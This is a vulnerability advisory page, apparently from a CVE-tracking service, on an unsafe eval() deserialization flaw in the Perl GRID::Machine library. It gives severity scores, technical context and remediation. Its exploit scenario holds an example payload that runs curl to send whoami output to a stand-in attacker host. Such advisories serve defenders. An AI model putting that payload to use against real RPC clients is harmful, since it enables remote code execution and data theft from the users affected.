Skip to main content

Grid CVE-2026-4851

| EUVDEUVD-2026-16957 CRITICAL
Deserialization of Untrusted Data (CWE-502)
2026-03-29 CPANSec
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Malicious remote host sends crafted RPC message
  2. Exploit
    Unsafe eval() deserializes attacker payload
  3. Impact
    Arbitrary code executes on client host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must control or compromise a remote SSH host that a GRID::Machine client connects to. When the client invokes RPC calls, the malicious remote host sends crafted serialized data exploiting unsafe eval()-based deserialization in read_operation(). Affects GRID::Machine versions through 0.127 for Perl.

Impact

This vulnerability represents critical real-world risk despite the absence of CVSS and EPSS scores in the provided data. The attack vector is network-based (SSH RPC connections), requires only that the attacker compromise or control a remote host that the client connects to (moderate complexity), and requires no authentication to the vulnerable client itself-the client's own trust in the remote peer is the exploitation trigger. CVSS data is unavailable, preventing formal severity scoring, but the technical impact is maximum: arbitrary code execution in the client process with full privileges of the calling user. No KEV status or public exploit code is documented in the input data. However, the vulnerability is design-inherent and trivial to exploit once a remote host is compromised, making it a priority for any organization using GRID::Machine to connect to systems outside their complete control. The lack of documentation about the trust requirement for remote hosts elevates practical risk, as users may unknowingly use GRID::Machine with untrusted peers. The fact that code execution occurs silently with correct return values makes detection difficult and increases dwell time risk.

Exploit ScenarioDerived

An attacker compromises a remote server that a GRID::Machine client connects to regularly. When the client makes any RPC call to the compromised host, the attacker returns a Dumper-formatted response containing embedded Perl code (e.g., $VAR1 = do { system("curl http://attacker.com/exfiltrate?data=$(whoami)"); };). The client's eval() deserializer silently executes the injected code in the client process, potentially exfiltrating credentials, SSH keys, or data, all while the RPC call appears to complete normally with correct return values, remaining undetected unless network egress is monitored. No public exploit code is documented at the time of this analysis, but the vulnerability is trivial to exploit given the design of the protocol.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 29, 2026

Arbitrary Perl code execution in GRID::Machine through version 0.127 occurs when clients connect to remote hosts via RPC over SSH, as the client-side deserializer uses eval() on untrusted data from the remote peer without validation. A compromised or malicious remote host can inject arbitrary Perl code into Dumper-formatted responses that executes silently on the client during RPC calls, while maintaining correct return values to avoid detection. The vulnerability is design-inherent but the trust requirement for remote hosts is not documented, creating a security expectation mismatch for users.

RemediationAI

Upgrade GRID::Machine to a version greater than 0.127 once a patched release is available from the maintainer (Casiano Rodriguez-Leon). Until a patch is released, do not use GRID::Machine to execute RPC calls to remote hosts outside your complete control; restrict GRID::Machine RPC connections to fully trusted, internally-managed systems only. If patching is delayed, implement network segmentation to ensure GRID::Machine clients can only reach pre-approved remote hosts and apply SSH host key verification and mutual TLS authentication at the transport layer to reduce the attack surface. Monitor the OSS-Security mailing list (https://www.openwall.com/lists/oss-security/2026/03/26/6) and CPAN for vendor updates. Additionally, request or contribute documentation updates to the GRID::Machine distribution clearly stating the requirement that all remote hosts must be fully trusted, and consider implementing optional message signing or HMAC-based authentication in future versions to enable use with partially-trusted peers.

Affected VersionsENISA

GRID::Machine 0 ≤0.127

Affected Packages

euvd grid_machine no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GRID::Machine is a Perl library that implements Remote Procedure Calls (RPC) over SSH, enabling clients to execute code on remote hosts. The root cause is unsafe deserialization in the read_operation() function within lib/GRID/Machine/Message.pm (CWE-502: Deserialization of Untrusted Data). The vulnerable code uses Perl's eval() function to deserialize responses from the remote side without sanitization or signature verification: the raw protocol bytes are prefixed with '$VAR1' and evaluated as arbitrary Perl code via eval "no strict; $arg". An attacker controlling a remote host can craft Dumper-formatted responses containing executable Perl statements (e.g., do { system("..."); };) that execute in the client's process context. The RPC architecture assumes the remote host is trusted, but this trust assumption is neither enforced nor clearly documented in the distribution, creating a critical security boundary violation when users connect to untrusted or compromised remote systems.

Know when Grid gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

GRID::Machine versions through 0.127 for Perl allows arbitrary code execution via unsafe deserialization.

GRID::Machine provides Remote Procedure Calls (RPC) over SSH for Perl. The client connects to remote hosts to execute code on them. A compromised or malicious remote host can execute arbitrary code back on the client through unsafe deserialization in the RPC protocol.

read_operation() in lib/GRID/Machine/Message.pm deserialises values from the remote side using eval()

$arg .= '$VAR1'; my $val = eval "no strict; $arg";

line 40-41

$arg is raw bytes from the protocol pipe. A compromised remote host can embed arbitrary perl in the Dumper-formatted response:

$VAR1 = do { system("..."); };

This executes on the client silently on every RPC call, as the return values remain correct.

This functionality is by design but the trust requirement for the remote host is not documented in the distribution.

Threat Intelligence Overview

EPSS Score
0.1%
Top 75% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy